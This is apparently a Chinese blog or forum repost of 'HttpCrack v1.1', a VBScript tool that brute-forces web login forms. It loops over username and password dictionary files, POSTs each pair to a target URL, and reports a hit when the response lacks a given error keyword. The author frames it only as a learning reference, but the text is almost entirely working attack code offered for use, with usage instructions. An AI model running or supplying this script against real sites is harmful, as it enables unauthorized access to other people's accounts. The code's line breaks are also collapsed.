| 关键词: nbsp wscript echo objstream wsh userStr pass user arg regEx |
上一个版本写的时候很多地方没有注意到,效率很是低下,经过一些修改,把修改之后的代码发出来给大家参考,总的来说这个工具只是为大家提供一个学习交流的参考。牛牛们就不必鄙视了。Dim url,user,pass,searchset arg=wscript.argumentsIf (LCase(Right(Wscript.fullname,11))="Wscript.Exe") ThenWscript.QuitEnd Ifif arg.count=0 or arg.length<> 8 thenCall useage()Wscript.QuitElseCall init()End If'-------------------------------使用说明-------------------------------------------------------Sub useage()wsh.echo string(79,"*")wsh.echo ""wsh.echo "HttpCrack v1.1"wsh.echo "Made by 孤水绕城 just for test !!!"wsh.echo "QQ:540410588 Blog: http://hi.baidu.com/540410588"wsh.echo ""wsh.echo "注:此工具作为暴力破解用户名密码之用,条件是没有认证码做验证"wsh.echo "Usage:"wsh.echo "cscript "&wscript.scriptname&" -l(接收用户名密码的url) -u(用户名字段名) -p(密码字段名) -s(返回错误信息关键字)"wsh.echo "示例如下:cscript "&wscript.scriptname&" -l http://localhost/login.php -u user -p pass -s error"wsh.echo string(79,"*")&vbcrlfEnd Sub'-------------------------------使用说明-------------------------------------------------------'-------------------------------读取参数-------------------------------------------------------Sub init()Dim sFor s=0 To arg.length-1 If(arg(s)="-l") Then :url=arg(s+1) : End If If(arg(s)="-u") Then :user=arg(s+1) : End If If(arg(s)="-p") Then :pass=arg(s+1) : End If If(arg(s)="-s") Then :search=arg(s+1) : End If NextIf Trim(url)<>"" And Trim(user)<>"" And Trim(pass)<>"" And Trim(search)<>"" Then Call main()Else Call useage() wscript.quitEnd IfEnd Sub'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------Sub main()Dim path,length,fullpath,scriptName,userStr,passStr,result,postStrfullpath=wscript.ScriptFullName:length=InStr(fullpath,scriptName):path=Mid(fullpath,1,length-1)Set fso=CreateObject("Scripting.FileSystemObject")If fso.fileExists(path&"user.txt") And fso.fileExists(path&"pass.txt") Then Set otfuser=fso.OpenTextFile(path&"user.txt") Do While otfuser.AtEndOfLine <> True userStr=otfuser.readLine() userStr=RegReplace(userStr,"[\s]+","") '去除多余空格 If(userStr<>"") Then Set otfpass=fso.OpenTextFile(path&"pass.txt") Do While otfpass.AtEndOfLine <> True passStr=otfpass.readLine() wsh.echo "Checking...... "&userStr&"------"&passStr postStr=user&"="&userStr&"&"&pass&"="&passStr result = BytesToBstr(GetData(url,postStr),"GB2312") If(InStr(1,result,search,1)<1) Then wsh.echo "" wsh.echo "Good Job !!!"&vbcrlf&"You Have Found The Result"& vbcrlf&"username: "&userStr&" ------- password: "&passStr wscript.quit End If loop End If Loop wsh.echo "Sorry I can't Find The Result , Please Expand The Dic."Else MsgBox("请确定user.txt和pass.txt放在"&path&"文件夹中") wscript.quitEnd IfSet otfuser=NothingSet otfpass=NothingSet fso=NothingEnd SubFunction RegReplace(ByVal str1, ByVal patrn, ByVal replStr) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.MultiLine = True regEx.IgnoreCase = True regEx.Global = True RegReplace = regEx.Replace(str1, replStr) set regEx = NothingEnd Function'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------'------------------------------该部分用于提交数据----------------------------------------Function GetData(PostUrl,PostStr)Dim HttpSet Http = CreateObject("Microsoft.XMLHTTP")With Http.Open "POST",PostUrl,False.SetRequestHeader "Content-Length",Len(PostStr).SetRequestHeader "Content-Type","application/x-www-form-urlencoded".Send PostStrGetData = .ResponseBodyEnd WithSet Http = NothingEnd FunctionFunction BytesToBstr(Body, Cset)Dim objstreamSet objstream = CreateObject("adodb.stream")objstream.Type = 1objstream.Mode = 3objstream.Openobjstream.Write Bodyobjstream.Position = 0objstream.Type = 2objstream.Charset = CsetBytesToBstr = objstream.ReadTExtobjstream.CloseSet objstream = NothingEnd Function'------------------------------该部分用于提交数据----------------------------------------wscript.quit |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|